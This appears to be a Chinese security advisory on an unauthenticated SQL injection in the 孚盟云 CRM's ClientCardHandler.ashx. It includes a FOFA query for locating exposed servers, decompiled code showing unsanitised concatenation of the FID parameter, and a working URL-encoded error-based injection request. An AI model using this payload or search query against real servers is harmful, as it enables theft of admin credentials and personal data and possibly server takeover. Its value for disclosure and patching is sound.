孚盟云CRM ClientCardHandler.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云ClientCardHandler.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 ClientCardHandler.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 ClientCardHandler 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str = context.Request["method"].ToString();
  if (!string.op_Equality(str, "SaveContacts"))
  {
    if (!string.op_Equality(str, "LoadCustomersInfo"))
    {
      if (!string.op_Equality(str, "getCardImage"))
        return;
      this.getCardImage(context);
    }
    else
      this.LoadCustomersInfo(context);
  }
  else
    this.SaveContacts(context);
}

当 method=getCardImage 时,进入getCardImage方法

public void getCardImage(HttpContext context)
{
  this.WriteLog("进入名片FID信息获取imageurl");
  string str = context.Request["FID"].ToString();
  Hashtable o = new Hashtable();
  try
  {
    DataTable dataSource = new CreatePageDao().GetDataSource($" select Front_jpg,Back_jpg,CustFID,ConStactFID from bfCamCardInfo where FID='{str}' ");

未经过滤或参数化绑定的参数 FID 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。

其他当 method=LoadCustomersInfo、SaveContacts时,均存在SQL注入漏洞。

漏洞复现

GET /m/Dingding/Ajax/ClientCardHandler.ashx?method=getCardImage&FID=%31%27%61%6e%64%20%31%3c%40%40%76%65%72%73%69%6f%6e%2d%2d HTTP/1.1
Host: fumacrm.mrxn.net

成功通过报错注入在响应回显数据库版本信息


手机扫码阅读

汉王e脸通综合管理平台 queryMeetingRecord.do SQL注入漏洞

汉王e脸通综合管理平台 queryAllMeetingRecord.do SQL注入漏洞

评 论